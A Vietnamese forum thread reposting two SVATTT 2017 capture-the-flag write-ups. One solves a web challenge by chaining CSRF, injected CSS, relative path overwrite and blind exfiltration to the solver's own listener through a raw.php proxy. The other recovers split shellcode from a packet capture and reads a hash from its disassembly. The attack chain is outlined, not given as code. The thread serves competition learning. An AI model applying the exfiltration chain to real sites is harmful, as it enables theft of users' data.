Đoạn CSS phía dưới ko thể được gọi, nếu như nó vẫn nằm trong 1 thằng bị “display: none” =.=.
Cách xử lý đơn giản thôi, đó là ghi đè nó bằng “ div{display: block !important;}”!
Và mọi thứ trông cũng khá ổn:
23658364_1469678819812745_4438192959419678496_n.jpg
Vấn đề 1 đã xong thì va thêm problem 2:
23668781_1469679726479321_3472571374717751538_o.jpg
Như vậy là chỉ có thể load được từ self, ko dùng được trực tiếp listener của mình!
No problem!
Chỉ cần add link listener của mình vào, rồi cho nó call qua /raw.php?url=<listener> là ok!
23755593_1469680473145913_2449572228713111214_n.jpg
Đến đây thì mọi thứ gần như đã là hoàn thiện về ý tưởng:
  • Gạ bot vào link -> CSRF -> add payload -> RPO -> blind -> flag
Mình thì bản tính vốn lười sẵn, nên xác định code vài dòng để blind cho đỡ mệt người!
Mượn được ông a con vps trial, push code lên và bắt đầu brute loạn tử cung thôi!
23722492_1469682843145676_1832324185691091439_n.jpg
(Mình phải dùng VPS để kết hợp với listener 1 thể cho dễ xử lý! Nếu bài này trong cuộc thi thì ko biết mình phải mò tới bao giờ mới ra
1f641.png
:( )
.
.
.
.
Chờ mãi mới brute xong cái flag (để cho chắc cú thì mình set trung bình 10s/char, khá là lâu!)
Còn đây là phờ lác của các bạn:
svattt{can_you_inject_to_anything?}
Cảm ơn tác giả về 1 chall drift khá là đỉnh!
Tưởng như sờ được vào flag rồi mà vẫn chẳng thấy nó đâu
1f641.png
:(!
Cảm ơn: ACEBEAR, Bobo PTIT, N/A, UIT ... - GGWP!
Cảm ơn BTC, Vnsecurity đã tổ chức 1 kỳ SVATTT khá là thú vị và công bằng, ko để đội nào yếu quá, và cũng ko để đội nào mạnh quá
1f603.png
:D !
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
1. Shellcap - Jeopardy

Ghost in the shell. Shell in the cap. Submit svattt{secret hash}

File: http://final.svattt.org/challs/shellcap.pcapng

Hint: Shellcode is splitted into packets. Format: Offset|Data

Recover the shellcode, disassembly and find the secret hash.

Đây là một bài forensics kết hợp với reverse. Gặp file pcap, ta mở luôn nó bằng Wireshark cho nóng nhỉ.

screen-shot-2017-11-20-at-1-59-11-am.png


Gặp nhiều TCP thế này thì tội gì không Follow TCP Stream
1f600.svg


screen-shot-2017-11-20-at-1-59-50-am.png


Với mỗi packet, ta thấy bên đỏ gửi đi 3 bytes. Dễ thấy rằng, bytes đầu tiên chỉ là 0x01, 0x02, 0x03, 0x04 nên ta đoán được đây có thể là một loại offset nào đó. Bên cạnh đó, ta thấy packet cuối cùng có tên mã là 2129.

screen-shot-2017-11-20-at-2-04-10-am.png


Để ý thấy, nếu trừ 1 packet đầu do thiết lập kết nối TCP thì còn 2128 packet ~ 2128 bytes ? Nhưng ngẫu nhiên, ta thấy số 0x0422 ở packet ngay phía trên “là lạ”. Trùng hợp một nỗi, 0x0422 = 1058 ~ (2128/2). Thêm hint từ đề bài cho nữa, mình khi đó đoán là có thể offset|data thì offset có thể là 12 bit hoặc 16 bit. Mình thử parse data ra thì nó được đoạn mã bắt đầu bằng 0x558B. Bằng “phương pháp nghiệp vụ”, mình biết ngay đó là shellcode chuẩn =)) [code parse]

Thế là ném vào IDA thôi
1f642.svg


screen-shot-2017-11-20-at-2-33-02-am.png


Đoạn mã trên cùng ta có thể thấy được là nó làm nhiều thứ gì đó mà bạn phải học assembly thì mới hiểu được :)) Tua xuống đoạn cuối, ta thấy hình như nó so sánh xem hash có phải đúng không, nếu không đúng thì quit.

screen-shot-2017-11-20-at-2-35-46-am.png


Thế thì mình thử ‘grep’ lại các byte đó thôi
1f600.svg


screen-shot-2017-11-20-at-2-37-51-am.png


Ghép tất cả lại, ta được flag: svattt{59bde2468ac7398fb6ead5be7b6525a63608059d}

MAGIC
1f642.svg


img_2979.jpg

Trích Blog minhtt159
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  • Thích
Reactions: sunny
Comment
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  • Thích
Reactions: Sugi_b3o
Comment
Thẻ
2017 capture the flag ctf deamon svattt đà nẵng
Bên trên